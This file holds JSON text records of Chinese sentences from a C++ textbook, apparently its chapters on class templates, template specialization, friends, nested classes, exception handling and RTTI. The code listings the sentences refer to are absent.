    {"text": "其次，在每个程序中只能使用这种技术生成一种栈，即不能让typedef同时代表两种不同的类型，因此不能使用这种方法在同一个程序中同时定义int栈和string栈。"},
    {"text": "C++的类模板为生成通用的类声明提供了一种更好的方法（C++最初不支持模板，但模板被引入后，就一直在演化，因此有的编译器可能不支持这里介绍的所有特性）。"},
    {"text": "C++库提供了多个模板类，本章前面使用了模板类valarray，第4章介绍了模板类vector和array，而第16章将讨论的C++标准模板库（STL）提供了几个功能强大而灵活的容器类模板实现。"},
    {"text": "不能将模板成员函数放在独立的实现文件中（以前，C++标准确实提供了关键字export，让您能够将模板成员函数放在独立的实现文件中，但支持该关键字的编译器不多；"},
    {"text": "例如，下面的代码创建两个栈，一个用于存储int，另一个用于存储string对象： 看到上述声明后，编译器将按Stack<Type>模板来生成两个独立的类声明和两组独立的类方法。 类声明Stack<int>将使用int替换模板中所有的Type，而类声明Stack<string>将用string替换Type。"},
    {"text": "注意，必须显式地提供所需的类型，这与常规的函数模板是不同的，因为编译器可以根据函数的参数类型来确定要生成哪种函数： 程序清单14.14修改了原来的栈测试程序（程序清单11.12），使用字符串而不是unsigned long值作为订单ID。"},
    {"text": "程序清单14.14 stacktem.cpp 程序清单14.14所示程序的运行情况如下： 14.4.3 深入探讨模板类 可以将内置类型或类对象用作类模板Stack<Type>的类型。"},
    {"text": "下面解释程序清单14.14不太适合使用指针栈的原因，然后介绍一个指针栈很有用的例子。 1．不正确地使用指针栈 我们将简要地介绍3个试图对程序清单14.14进行修改，使之使用指针栈的简单（但有缺陷的）示例。"},
    {"text": "这种方法很快就失败了，因为仅仅创建指针，没有创建用于保存输入字符串的空间（程序将通过编译，但在cin试图将输入保存在某些不合适的内存单元中时崩溃）。"},
    {"text": "把这些指针放在栈中是有意义的，因为每个指针都将指向不同的字符串。 注意，创建不同指针是调用程序的职责，而不是栈的职责。 栈的任务是管理指针，而不是创建指针。"},
    {"text": "如果Plodson的收取篮（in-basket）是空的，他将取出车中最上面的文件夹，将其放入收取篮； 如果收取篮是满的，Plodson将取出篮中最上面的文件，对它进行处理，然后放入发出篮（out-basket）中。 如果收取篮既不是空的也不是满的，Plodson将处理收取篮中最上面的文件，也可能取出车中的下一个文件，把它放入收取篮。"},
    {"text": "可以用栈表示收取篮，并使用第二个指针数组来表示发出篮。 通过将指针从输入数组压入到栈中来表示将文件添加到收取篮中，同时通过从栈中弹出项目，并将它添加到发出篮中来表示处理文件。"},
    {"text": "程序清单14.16中的程序使用新的栈模板来实现Plodson模拟，它像以前介绍的模拟那样使用rand( )、srand( )和time( )来生成随机数，这里是随机生成0和1，来模拟掷硬币的结果。"},
    {"text": "程序清单14.17 arraytp.h 请注意程序清单14.17中的模板头： 关键字class（或在这种上下文中等价的关键字typename）指出T为类型参数，int指出n的类型为int。"},
    {"text": "也就是说，下面的声明将生成两个独立的类声明： 但下面的声明只生成一个类声明，并将数组大小信息传递给类的构造函数： 另一个区别是，构造函数方法更通用，这是因为数组大小是作为类成员（而不是硬编码）存储在定义中的。"},
    {"text": "模板类可用作基类，也可用作组件类，还可用作其他模板的类型参数。 例如，可以使用数组模板实现栈模板，也可以使用数组模板来构造数组——数组元素是基于栈模板的栈。"},
    {"text": "在twodee的10个元素（每个元素又是一个包含5个元素的数组）中，每个元素对应于1行：列出了每个元素包含的值、这些值的总和以及平均值。"},
    {"text": "程序清单14.19 pairs.cpp 对于程序清单14.19，需要注意的一点是，在main( )中必须使用Pair<string, int>来调用构造函数，并将它作为sizeof的参数。"},
    {"text": "下面是程序清单14.19所示程序的输出： 3．默认类型模板参数 类模板的另一项新特性是，可以为类型参数提供默认值： 这样，如果省略T2的值，编译器将使用int： 第16章将讨论的标准模板库经常使用该特性，将默认类型设置为类。"},
    {"text": "虽然可以为类模板类型参数提供默认值，但不能为函数模板参数提供默认值。 然而，可以为非类型参数提供默认值，这对于类模板和函数模板都是适用的。"},
    {"text": "14.4.6 模板的具体化 类模板与函数模板很相似，因为可以有隐式实例化、显式实例化和显式具体化，它们统称为具体化（specialization）。 模板以泛型的方式描述类，而具体化是使用具体的类型生成类声明。 1．隐式实例化 到目前为止，本章所有的模板示例使用的都是隐式实例化（implicit instantiation），即它们声明一个或多个对象，指出所需的类型，而编译器使用通用模板提供的处方生成具体的类定义： 编译器在需要对象之前，不会生成类的隐式实例化： 第二条语句导致编译器生成类定义，并根据该定义创建一个对象。 2．显式实例化 当使用关键字template并指出所需类型来声明类时，编译器将生成类声明的显式实例化（explicit instantiation）。"},
    {"text": "具体化类模板定义的格式如下： 早期的编译器可能只能识别早期的格式，这种格式不包括前缀template<>： 要使用新的表示法提供一个专供const char *类型使用的SortedArray模板，可以使用类似于下面的代码： 其中的实现代码将使用strcmp( )（而不是>）来比较数组值。 现在，当请求const char *类型的SortedArray模板时，编译器将使用上述专用的定义，而不是通用的模板定义： 4．部分具体化 C++还允许部分具体化（partial specialization），即部分限制模板的通用性。"},
    {"text": "注意，如果指定所有的类型，则<>内将为空，这将导致显式具体化： 如果有多个模板可供选择，编译器将使用具体化程度最高的模板。 给定上述三个模板，情况如下： 也可以通过为指针提供特殊版本来部分具体化现有的模板： 如果提供的类型不是指针，则编译器将使用通用版本； 如果提供的是指针，则编译器将使用指针具体化版本： 如果没有进行部分具体化，则第二个声明将使用通用模板，将T转换为char *类型。 如果进行了部分具体化，则第二个声明将使用具体化模板，将T转换为char。"},
    {"text": "在main( )中，下述声明使得T表示的是double，因此q的类型为hold<double>： blab( )方法的U类型由该方法被调用时的参数值显式确定，T类型由对象的实例化类型确定。 在这个例子中，guy的声明将T的类型设置为double，而下述方法调用的第一个参数将U的类型设置为int（参数10对应的类型）： 因此，虽然混合类型引起的自动类型转换导致blab( )中的计算以double类型进行，但返回值的类型为U（即int），因此它被截断为28，如下面的程序输出所示： 注意到调用guy.blab( )时，使用10.0代替了10，因此U被设置为double，这使得返回类型为double，因此输出为28.2608。"},
    {"text": "例如，下面的语句仍将blah( )实现为blah(int, double)，并根据常规函数原型规则将3转换为类型double： 可以在beta模板中声明hold类和blah方法，并在beta模板的外面定义它们。"},
    {"text": "因为模板是嵌套的，因此必须使用下面的语法： 而不能使用下面的语法： 定义还必须指出hold和blab是beta<T>类的成员，这是通过使用作用域解析运算符来完成的。"},
    {"text": "14.4.8 将模板用作参数 您知道，模板可以包含类型参数（如typename T）和非类型参数（如int n）。 模板还可以包含本身就是模板的参数，这种参数是模板新增的特性，用于实现STL。 在程序清单14.21所示的示例中，开头的代码如下： 模板参数是template <typename T>class Thing，其中template <typename T>class是类型，Thing是参数。"},
    {"text": "假设有下面的声明： 为使上述声明被接受，模板参数King必须是一个模板类，其声明与模板参数Thing的声明匹配： 在程序清单14.21中，Crab的声明声明了两个对象： 前面的legs声明将用King<int>替换Thing<int>，用King<double>替换Thing<double>。"},
    {"text": "总之，模板参数Thing将被替换为声明Crab对象时被用作模板参数的模板类型。 Crab类的声明对Thing代表的模板类做了另外3个假设，即这个类包含一个push( )方法，包含一个pop( )方法，且这些方法有特定的接口。 Crab类可以使用任何与Thing类型声明匹配，并包含方法push( )和pop( )的模板类。"},
    {"text": "程序清单14.21 tempparm.cpp 下面是程序清单14.21所示程序的运行情况： 可以混合使用模板参数和常规参数，例如，Crab类的声明可以像下面这样打头： 现在，成员s1和s2可存储的数据类型为泛型，而不是用硬编码指定的类型。"},
    {"text": "约束（bound）模板友元，即友元的类型取决于类被实例化时的类型； 非约束（unbound）模板友元，即友元的所有具体化都是类的每一个具体化的友元。"},
    {"text": "例如，可以这样做： 为理解上述代码的功能，想想声明一个特定类型的对象时，将生成的具体化： 编译器将用int替代模板参数T，因此友元声明的格式如下： 也就是说，带HasFriend<int>参数的report( )将成为HasFriend<int>类的友元。 同样，带HasFriend<double>参数的report( )将是report( )的一个重载版本——它是Hasfriend<double>类的友元。"},
    {"text": "count( )方法是所有HasFriend具体化的友元，它报告两个特定的具体化（HasFriend<int>和HasFriend<double>）的ct的值。 该程序还提供两个report( )函数，它们分别是某个特定HasFriend具体化的友元。"},
    {"text": "对于report( )，<>可以为空，因为可以从函数参数推断出如下模板类型参数： 然而，也可以使用： 但counts( )函数没有参数，因此必须使用模板参数语法（<TT>）来指明其具体化。"},
    {"text": "例如，假设声明了这样一个对象： 编译器将用int替换TT，并生成下面的类定义： 基于TT的具体化将变为int，基于HasFriend<TT>的具体化将变为HasFriend<int>。"},
    {"text": "请注意，程序清单14.22包含1个count( )函数，它是所有HasFriend类的友元； 而程序清单14.23包含两个count( )函数，它们分别是某个被实例化的类类型的友元。"},
    {"text": "使用<>格式也能获得同样的效果： 程序清单14.23 tmp2tmp.cpp 下面是程序清单14.23所示程序的输出： 正如您看到的，counts<double>和counts<int>报告的模板大小不同，这表明每种T类型都有自己的友元函数count( )。"},
    {"text": "其中，函数调用show2（hfi1，hfi2）与下面的具体化匹配： 因为它是所有ManyFriend具体化的友元，所以能够访问所有具体化的item成员，但它只访问了ManyFriend<int>对象。 同样，show2(hfd, hfi2)与下面具体化匹配： 它也是所有ManyFriend具体化的友元，并访问了ManyFriend<int>对象的item成员和ManyFriend<double>对象的item成员。"},
    {"text": "程序清单14.24 manyfrnd.cpp 程序清单14.24所示程序的输出如下： 14.4.10 模板别名（C++11） 如果能为类型指定别名，将很方便，在模板设计中尤其如此。"},
    {"text": "可使用typedef为模板具体化指定别名： 但如果您经常编写类似于上述typedef的代码，您可能怀疑要么自己忘记了可简化这项任务的C++功能，要么C++没有提供这样的功能。 C++11新增了一项功能——使用模板提供一系列别名，如下所示： 这将arrtype定义为一个模板别名，可使用它来指定类型，如下所示： 总之，arrtype<T>表示类型std::array<T, 12>。"},
    {"text": "第13章介绍的公有继承能够建立is-a关系，这样派生类可以重用基类的代码。 私有继承和保护继承也使得能够重用基类的代码，但建立的是has-a关系。 使用私有继承时，基类的公有成员和保护成员将成为派生类的私有成员； 使用保护继承时，基类的公有成员和保护成员将成为派生类的保护成员。 无论使用哪种继承，基类的公有接口都将成为派生类的内部接口。"},
    {"text": "使用关键字template声明类的特定具体化时，将发生显式实例化： 在这种情况下，编译器将使用通用模板生成一个int具体化——Ic<int>，虽然尚未请求这个类的对象。"},
    {"text": "例如，为字符指针提供专用Ic类的代码如下： 这样，下面这样的声明将为chic使用专用定义，而不是通用模板： 类模板可以指定多个泛型，也可以有非类型参数： 下面的声明将生成一个隐式实例化，用double代替T，用string代替TT，用6代替n： 类模板还可以包含本身就是模板的参数： 其中z是一个int值，U为类型名，CL为一个使用template<typename, T>声明的类模板。"},
    {"text": "2．假设有下面的定义： 假设Gloam版本的tell( )应显示glip和fb的值，请为这3个Gloam方法提供定义。 3．假设有下面的定义： 假设Gloam版本的tell( )应显示glip和fab的值，请为这3个Gloam方法提供定义。"},
    {"text": "其中前者用于存储葡萄酒的名称，而后者有2个valarray<int>对象（参见本章），这两个valarray<int>对象分别保存了葡萄酒的酿造年份和该年生产的瓶数。"},
    {"text": "Wine类应该有一个默认构造函数以及如下构造函数： Wine类应该有一个GetBottles( )方法，它根据Wine对象能够存储几种年份（y），提示用户输入年份和瓶数。"},
    {"text": "同样，一些typedef可能会有所帮助，另外，您可能还需要考虑诸如下面这样的语句的含义： 您设计的类应该可以使用编程练习1中的测试程序进行测试。"},
    {"text": "它包含一个Draw( )成员，该函数返回一个1～52的随机数，用于表示扑克牌的值（也可以定义一个Card类，其中包含花色和面值成员，然后让Draw( )返回一个Card对象）。"},
    {"text": "这可以简化一些highfink方法的代码（例如，如果highfink::ShowAll( )只是调用fink::ShowAll( )和manager::ShwAll( )，则它将调用abstr_emp::ShowAll( )两次）。"},
    {"text": "遥控器并非电视机，反之亦然，所以公有继承的is-a关系并不适用。 遥控器也非电视机的一部分，反之亦然，因此包含或私有继承和保护继承的has-a关系也不适用。"},
    {"text": "输入选择包括TV（有线TV或广播TV）和DVD。 有些电视机可能提供更多的选择，如多种DVD/蓝光输入，但对于这个示例的目的而言，这个清单足够了。"},
    {"text": "当前，很多电视机都将控件藏在面板后面，但大多数电视机还是可以在不使用遥控器的情况下进行换台等工作的，通常只能逐频道换台，而不能随意选台。"},
    {"text": "很多方法都使用条件运算符在两种状态之间切换： 如果两种状态值分别为true（1）和false（0），则可以结合使用将在附录E讨论的按位异或和赋值运算符（^=）来简化上述代码： 事实上，在单个无符号char变量中可存储多达8个双状态设置，分别对它们进行切换；"},
    {"text": "程序清单15.3 use_tv.cpp 下面是程序清单15.1～程序清单15.3组成的程序的输出： 这个练习的主要目的在于表明，类友元是一种自然用语，用于表示一些关系。"},
    {"text": "确实可以选择仅让特定的类成员成为另一个类的友元，而不必让整个类成为友元，但这样做稍微有点麻烦，必须小心排列各种声明和定义的顺序。"},
    {"text": "让Remote::set_chan( )成为Tv类的友元的方法是，在Tv类声明中将其声明为友元： 然而，要使编译器能够处理这条语句，它必须知道Remote的定义。"},
    {"text": "程序清单15.1的Remote声明包含了内联代码，例如： 由于这将调用Tv的一个方法，所以编译器此时必须已经看到了Tv类的声明，这样才能知道Tv有哪些方法，但正如看到的，该声明位于Remote声明的后面。"},
    {"text": "程序清单15.4 tvfm.h 如果在tv.cpp和use_tv.cpp中包含tvfm.h而不是tv.h，程序的行为与前一个程序相同，区别在于，只有一个Remote方法是Tv类的友元，而在原来的版本中，所有的Remote方法都是Tv类的友元。"},
    {"text": "顺便说一句，让整个Remote类成为友元并不需要前向声明，因为友元语句本身已经指出Remote是一个类： 15.1.3 其他友元关系 除本章前面讨论的，还有其他友元和类的组合形式，下面简要地介绍其中的一些。"},
    {"text": "新的方案将受益于相互的友情，一些Remote方法能够像前面那样影响Tv对象，而一些Tv方法也能影响Remote对象。 这可以通过让类彼此成为对方的友元来实现，即除了Remote是Tv的友元外，Tv还是Remote的友元。"},
    {"text": "需要记住的一点是，对于使用Remote对象的Tv方法，其原型可在Remote类声明之前声明，但必须在Remote类声明之后定义，以便编译器有足够的信息来编译该方法。 这种方案与下面类似： 由于Remote的声明位于Tv声明的后面，所以可以在类声明中定义Remote::volup( )，但Tv::buzz( )方法必须在Tv声明的外部定义，使其位于Remote声明的后面。"},
    {"text": "例如，假定有一个Probe类和一个Analyzer类，前者表示某种可编程的测量设备，后者表示某种可编程的分析设备。 这两个类都有内部时钟，且希望它们能够同步，则应该包含下述代码行： 前向声明使编译器看到Probe类声明中的友元声明时，知道Analyzer是一种类型。"},
    {"text": "15.2 嵌套类 在C++中，可以将类声明放在另一个类中。 在另一个类中声明的类被称为嵌套类（nested class），它通过提供新的类型类作用域来避免名称混乱。 包含类的成员函数可以创建和使用被嵌套类的对象；"},
    {"text": "而仅当声明位于公有部分，才能在包含类的外面使用嵌套类，而且必须使用作用域解析运算符（然而，旧版本的C++不允许嵌套类或无法完全实现这种概念）。"},
    {"text": "Queue类示例（第12章的程序清单12.8）嵌套了结构定义，从而实现了一种变相的嵌套类： 由于结构是一种其成员在默认情况下为公有的类，所以Node实际上是一个嵌套类，但该定义并没有充分利用类的功能。"},
    {"text": "从类声明（程序清单11.10）和方法定义（程序清单12.11）可知，唯一创建了Node对象的地方是enqueue( )方法： 上述代码创建Node后，显式地给Node成员赋值，这种工作更适合由构造函数来完成。"},
    {"text": "知道应在什么地方以及如何使用构造函数后，便可以提供一个适当的构造函数定义： 该构造函数将节点的item成员初始化为i，并将next指针设置为0，这是使用C++编写空值指针的方法之一（使用NULL时，必须包含一个定义NULL的头文件；"},
    {"text": "接下来，需要使用构造函数重新编写enqueue( )： 这使得enqueue( )的代码更短，也更安全，因为它自动进行初始化，无需程序员记住应做什么。"},
    {"text": "在前一个例子中，被嵌套在Queue声明中的Node类就属于这种情况（看起来Node是在私有部分之前定义的，但别忘了，类的默认访问权限是私有的），因此，Queue成员可以使用Node对象和指向Node对象的指针，但是程序的其他部分甚至不知道存在Node类。"},
    {"text": "如果嵌套类是在另一个类的公有部分声明的，则允许后者、后者的派生类以及外部世界使用它，因为它是公有的。 然而，由于嵌套类的作用域为包含它的类，因此在外部世界使用它时，必须使用类限定符。"},
    {"text": "表15.1总结了嵌套类、结构和枚举的作用域特征。 表15.1 嵌套类、结构和枚举的作用域特征 声明位置 包含它的类是否可以使用它 从包含它的类派生而来的类是否可以使用它 在外部是否可以使用 私有部分 是 否 否 保护部分 是 是 否 公有部分 是 是 是，通过类限定符来使用 2．访问控制 类可见后，起决定作用的将是访问控制。"},
    {"text": "因此，Queue类对象只能显示地访问Node对象的公有成员。 由于这个原因，在Queue示例中，Node类的所有成员都被声明为公有的。 这样有悖于应将数据成员声明为私有的这一惯例，但Node类是Queue类内部实现的一项特性，对外部世界是不可见的。 这是因为Node类是在Queue类的私有部分声明的。 所以，虽然Queue的方法可直接访问Node的成员，但使用Queue类的客户不能这样做。"},
    {"text": "所以，下面的声明将导致Node被定义成用于存储double值： 而下面的声明将导致Node被定义成用于存储char值： 这两个Node类将在两个独立的QueueTP类中定义，因此不会发生名称冲突。 即一个节点的类型为QueueTP<double>::Node，另一个节点的类型为QueueTP<char>::Node。"},
    {"text": "程序清单15.6 nested.cpp 程序清单15.5和程序清单15.6组成的程序的运行情况如下： 15.3 异常 程序有时会遇到运行阶段错误，导致程序无法正常地运行下去。"},
    {"text": "两个数的调和平均数的定义是：这两个数字倒数的平均值的倒数，因此表达式为： 如果y是x的负值，则上述公式将导致被零除——一种不允许的运算。"},
    {"text": "Abort( )函数的原型位于头文件cstdlib（或stdlib.h）中，其典型实现是向标准错误流（即cerr使用的错误流）发送消息abnormal program termination（程序异常终止），然后终止程序。"},
    {"text": "程序清单15.7 error1.cpp 程序清单15.7中程序的运行情况如下： 注意，在hmean( )中调用abort( )函数将直接终止程序，而不是先返回到main( )。"},
    {"text": "一般而言，显示的程序异常中断消息随编译器而异，下面是另一种编译器显示的消息： 为了避免异常终止，程序应在调用hmean( )函数之前检查x和y的值。"},
    {"text": "程序清单15.8是一个采用这种方式的示例，它将hmean( )的返回值重新定义为bool，让返回值指出成功了还是失败了，另外还给该函数增加了第三个参数，用于提供答案。"},
    {"text": "程序清单15.8 error2.cpp 程序清单15.8中程序的运行情况如下： 程序说明 在程序清单15.8中，程序设计避免了错误输入导致的恶果，让用户能够继续输入。"},
    {"text": "catch关键字和异常类型用作标签，指出当异常被引发时，程序应跳到这个位置执行。 异常处理程序也被称为catch块。 try块标识其中特定的异常可能被激活的代码块，它后面跟一个或多个catch块。 try块是由关键字try指示的，关键字try的后面是一个由花括号括起的代码块，表明需要注意这些代码引发的异常。"},
    {"text": "程序清单15.9 error3.cpp 程序清单15.9中程序的运行情况如下： 程序说明 在程序清单15.9中，try块与下面类似： 如果其中的某条语句导致异常被引发，则后面的catch块将对异常进行处理。"},
    {"text": "处理程序首先打印s——捕获的异常，然后打印要求用户输入新数据的指示，最后执行continue语句，命令程序跳过while循环的剩余部分，跳到起始位置。"},
    {"text": "例如，下面是针对函数hmean( )引发的异常而提供的一种设计： 可以将一个bad_hmean对象初始化为传递给函数hmean( )的值，而方法mesg( )可用于报告问题（包括传递给函数hmena( )的值）。 函数hmean( )可以使用下面这样的代码： 上述代码调用构造函数bad_hmean( )，以初始化对象，使其存储参数值。"},
    {"text": "注意，try块的后面跟着两个catch块： 如果函数hmean( )引发bad_hmean异常，第一个catch块将捕获该异常； 如果gmean( )引发bad_gmean异常，异常将逃过第一个catch块，被第二个catch块捕获。"},
    {"text": "程序清单15.10 exc_mean.h 程序清单15.11 error4.cpp 下面是程序清单15.10和15.11组成的程序的运行情况，错误的gmean( )函数输入导致程序终止： 首先，bad_hmean异常处理程序使用了一条continue语句，而bad_gmean异常处理程序使用了一条break语句。"},
    {"text": "因此，如果用户给函数hmean( )提供的参数不正确，将导致程序跳过循环中余下的代码，进入下一次循环； 而用户给函数gmean( )提供的参数不正确时将结束循环。"},
    {"text": "其次，异常类bad_gmean和bad_hmean使用的技术不同，具体地说，bad_gmean使用的是公有数据和一个公有方法，该方法返回一个C-风格字符串。"},
    {"text": "然而，忽视异常规范前，您至少应该知道它是什么样的，如下所示： 其中的throw( )部分就是异常规范，它可能出现在函数原型和函数定义中，可包含类型列表，也可不包含。"},
    {"text": "例如，marm( )可能不会引发异常，但它可能调用一个函数，而这个函数调用的另一个函数引发了异常。 另外，您给函数编写代码时它不会引发异常，但库更新后它却会引发异常。"},
    {"text": "然而，C++11确实支持一种特殊的异常规范：您可使用新增的关键字noexcept指出函数不会引发异常： 有关这种异常规范是否必要和有用存在一些争议，有些人认为最好不要使用它（至少在大多数情况下如此）；"},
    {"text": "15.3.6 栈解退 假设try块没有直接调用引发异常的函数，而是调用了对引发异常的函数进行调用的函数，则程序流程将从引发异常的函数跳到包含try块和处理程序的函数。"},
    {"text": "首先来看一看C++通常是如何处理函数调用和返回的。 C++通常通过将信息放在栈（参见第9章）中来处理函数调用。 具体地说，程序将调用函数的指令的地址（返回地址）放到栈中。 当被调用的函数执行完毕后，程序将使用该地址来确定从哪里开始继续执行。 另外，函数调用将函数参数放到栈中。 在栈中，这些函数参数被视为自动变量。 如果被调用的函数创建了新的自动变量，则这些变量也将被添加到栈中。 如果被调用的函数调用了另一个函数，则后者的信息将被添加到栈中，依此类推。"},
    {"text": "现在假设函数由于出现异常（而不是由于返回）而终止，则程序也将释放栈中的内存，但不会在释放栈的第一个返回地址后停止，而是继续释放栈，直到找到一个位于try块（参见图15.3）中的返回地址。"},
    {"text": "main( )和means( )都创建demo类型的对象（demo是一个喋喋不休的类，指出什么时候构造函数和析构函数被调用），以便您知道发生异常时这些对象将被如何处理。"},
    {"text": "catch块的代码如下： 上述代码显示消息后，重新引发异常，这将向上把异常发送给main( )函数。 一般而言，重新引发的异常将由下一个捕获这种异常的try-catch块组合进行处理，如果没有找到这样的处理程序，默认情况下程序将异常终止。"},
    {"text": "返回结果前，means( )调用了d2.show( )； 返回结果后，函数means( )执行完毕，因此自动为d2调用析构函数： 接下来的输入循环将值6和−6发送给函数means( )，然后means( )创建一个新的demo对象，并将值传递给hmean( )。"},
    {"text": "函数hmean( )引发bad_hmean异常，该异常被means( )中的catch块捕获，下面的输出指出了这一点： 该catch块中的throw语句导致函数means( )终止执行，并将异常传递给main( )函数。"},
    {"text": "但需要指出的是，还是为d2调用了析构函数： 这演示了异常极其重要的一点：程序进行栈解退以回到能够捕获异常的地方时，将释放栈中的自动存储型变量。"},
    {"text": "与此同时，重新引发的异常被传递给main( )，在该函数中，合适的catch块将捕获它并对其进行处理： 接下来开始了第三次输入循环：6和−8被发送给函数means( )。"},
    {"text": "同样，当程序进行栈解退时，将释放局部的动态变量，因此为d2调用了析构函数： 最后，main( )中的bad_gmean异常处理程序捕获了该异常，循环结束： 然后程序正常终止：显示一些消息并自动为d1调用析构函数。"},
    {"text": "如果catch块使用的是exit(EXIT_FAIL URE)而不是break，则程序将立刻终止，用户将看不到下述消息： 但仍能够看到如下消息： 同样，异常机制将负责释放栈中的自动变量。"},
    {"text": "其中之一是函数fun( )中的返回语句将控制权返回到调用fun( )的函数，但throw语句将控制权向上返回到第一个这样的函数：包含能够捕获相应异常的try-catch组合。"},
    {"text": "这意味着catch块的排列顺序应该与派生顺序相反： 如果将bad_1 &处理程序放在最前面，它将捕获异常bad_1、bad_2和bad_3； 通过按相反的顺序排列，bad_3异常将被bad_3 &处理程序所捕获。 提示： 如果有一个异常类继承层次结构，应这样排列catch块：将捕获位于层次结构最下面的异常类的catch语句放在最前面，将捕获基类异常的catch语句放在最后面。 通过正确地排列catch块的顺序，让您能够在如何处理异常方面有选择的余地。"},
    {"text": "方法是使用省略号来表示异常类型，从而捕获任何异常： 如果知道一些可能会引发的异常，可以将上述捕获所有异常的catch块放在最后面，这有点类似于switch语句中的default： 可以创建捕获对象而不是引用的处理程序。"},
    {"text": "15.3.8 exception类 C++异常的主要目的是为设计容错程序提供语言级支持，即异常使得在程序设计中包含错误处理功能更容易，以免事后采取一些严格的错误处理方式。"},
    {"text": "例如，为支持该语言，exception头文件（以前为exception.h或except.h）定义了exception类，C++可以把它用作其他异常类的基类。 代码可以引发exception异常，也可以将exception类用作基类。"},
    {"text": "然而，由于这是一个虚方法，因此可以在从exception派生而来的类中重新定义它： 如果不想以不同的方式处理这些派生而来的异常，可以在同一个基类处理程序中捕获它们： 否则，可以分别捕获它们。"},
    {"text": "首先，该文件定义了logic_error和runtime_error类，它们都是以公有方式从exception派生而来的： 注意，这些类的构造函数接受一个string对象作为参数，该参数提供了方法what( )以C-风格字符串方式返回的字符数据。"},
    {"text": "数学函数有定义域（domain）和值域（range）。 定义域由参数的可能取值组成，值域由函数可能的返回值组成。 例如，正弦函数的定义域为负无穷大到正无穷大，因为任何实数都有正弦值； 但正弦函数的值域为−1到+1，因为它们分别是最大和最小正弦值。 另一方面，反正弦函数的定义域为−1到+1，值域为−π到+ π。"},
    {"text": "异常invalid_argument指出给函数传递了一个意料外的值。 例如，如果函数希望接受一个这样的字符串：其中每个字符要么是‘0’要么是‘1’，则当传递的字符串中包含其他字符时，该函数将引发invalid_argument异常。"},
    {"text": "异常out_of_bounds通常用于指示索引错误。 例如，您可以定义一个类似于数组的类，其operator( ) [ ]在使用的索引无效时引发out_of_bounds异常。"},
    {"text": "下溢（underflow）错误在浮点数计算中。 一般而言，存在浮点类型可以表示的最小非零值，计算结果比这个值还小时将导致下溢错误。 整型和浮点型都可能发生上溢错误，当计算结果超过了某种类型能够表示的最大数量级时，将发生上溢错误。 计算结果可能不再函数允许的范围之内，但没有发生上溢或下溢错误，在这种情况下，可以使用range_error异常。"},
    {"text": "例如，下面的代码首先单独捕获out_of_bounds异常，然后统一捕获其他logic_error系列异常，最后统一捕获exception异常、runtime_error系列异常以及其他从exception派生而来的异常： 如果上述库类不能满足您的需求，应该从logic_error或runtime_error派生一个异常类，以确保您异常类可归入同一个继承层次结构中。"},
    {"text": "当前，C++标准提供了一种在失败时返回空指针的new，其用法如下： 使用这种new，可将程序清单15.13的核心代码改为如下所示： 15.3.9 异常、类和继承 异常、类和继承以三种方式相互关联。"},
    {"text": "它是从bad_index类派生而来的，新增了存储和报告LabeledSales对象的标签的功能。 由于bad_index是从logic_error派生而来的，因此nbad_index归根结底也是从logic_error派生而来的。"},
    {"text": "bad_index和nbad_index类都使用了异常规范throw()，这是因为它们都归根结底是从基类exception派生而来的，而exception的虚构造函数使用了异常规范throw()。"},
    {"text": "程序清单15.15 sales.cpp 程序清单15.16在一个程序中使用了这些类：首先试图超越LabeledSales对象sales2中数组的末尾，然后试图超越Sales对象sales1中数组的末尾。"},
    {"text": "程序清单15.16 use_sales.cpp 下面是程序清单15.14～程序清单15.16组成的程序的输出： 15.3.10 异常何时会迷失方向 异常被引发后，在两种情况下，会导致问题。"},
    {"text": "首先，如果它是在带异常规范的函数中引发的，则必须与规范列表中的某种异常匹配（在继承层次结构中，类类型与这个类及其派生类的对象匹配），否则称为意外异常（unexpected exception）。"},
    {"text": "相反，程序将首先调用函数terminate( )。 在默认情况下，terminate( )调用abort( )函数。 可以指定terminate( )应调用的函数（而不是abort( )）来修改terminate( )的这种行为。 为此，可调用set_terminate( )函数。 set_terminate( )和terminate( )都是在头文件exception中声明的： 其中的typedef使terminate_handler成为这样一种类型的名称：指向没有参数和返回值的函数的指针。 set_terminate( )函数将不带任何参数且返回类型为void的函数的名称（地址）作为参数，并返回该函数的地址。 如果调用了set_terminate( )函数多次，则terminate( )将调用最后一次set_terminate( )调用设置的函数。"},
    {"text": "原则上，异常规范应包含函数调用的其他函数引发的异常。 例如，如果Argh( )调用了Duh( )函数，而后者可能引发retort对象异常，则Argh( )和Duh( )的异常规范中都应包含retort。"},
    {"text": "这个函数将调用terminate( )，后者在默认情况下将调用abort( )。 正如有一个可用于修改terminate( )的行为的set_terminate( )函数一样，也有一个可用于修改unexpected( )的行为的set_unexpected( )函数。 这些新函数也是在头文件exception中声明的： 然而，与提供给set_terminate( )的函数的行为相比，提供给set_unexpected( )的函数的行为受到更严格的限制。 具体地说，unexpected_handler函数可以： 通过调用terminate( )（默认行为）、abort( )或exit( )来终止程序；"},
    {"text": "引发异常（第二种选择）的结果取决于unexpected_handler函数所引发的异常以及引发意外异常的函数的异常规范： 如果新引发的异常与原来的异常规范匹配，则程序将从那里开始进行正常处理，即寻找与新引发的异常匹配的catch块。"},
    {"text": "如果新引发的异常与原来的异常规范不匹配，且原来的异常规范中包含了std ::bad_exception类型，则不匹配的异常将被std ::bad_exception异常所取代。 总之，如果要捕获所有的异常（不管是预期的异常还是意外异常），则可以这样做： 首先确保异常头文件的声明可用： 然后，设计一个替代函数，将意外异常转换为bad_exception异常，该函数的原型如下： 仅使用throw，而不指定异常将导致重新引发原来的异常。 然而，如果异常规范中包含了这种类型，则该异常将被bad_exception对象所取代。 接下来在程序的开始位置，将意外异常操作指定为调用该函数： 最后，将bad_exception类型包括在异常规范中，并添加如下catch块序列： 15.3.11 有关异常的注意事项 从前面关于如何使用异常的讨论可知，应在设计程序时就加入异常处理功能，而不是以后再添加。"},
    {"text": "这些错误背后的程序员通常面临一场艰难的战役，需要不断了解库的复杂性：什么异常将被引发，它们发生的原因和时间，如何处理它们，等等。 程序员新手很快将发现，理解库中异常处理像学习语言本身一样困难，现代库中包含的例程和模式可能像C++语法细节一样陌生而困难。"},
    {"text": "只能将RTTI用于包含虚函数的类层次结构，原因在于只有对于这种类层次结构，才应该将派生对象的地址赋给基类指针。 警告： RTTI只适用于包含虚函数的类。"},
    {"text": "1．dynamic_cast运算符 dynamic_cast运算符是最常用的RTTI组件，它不能回答“指针指向的是哪类对象”这样的问题，但能够回答“是否可以安全地将对象的地址赋给特定类型的指针”这样的问题。"},
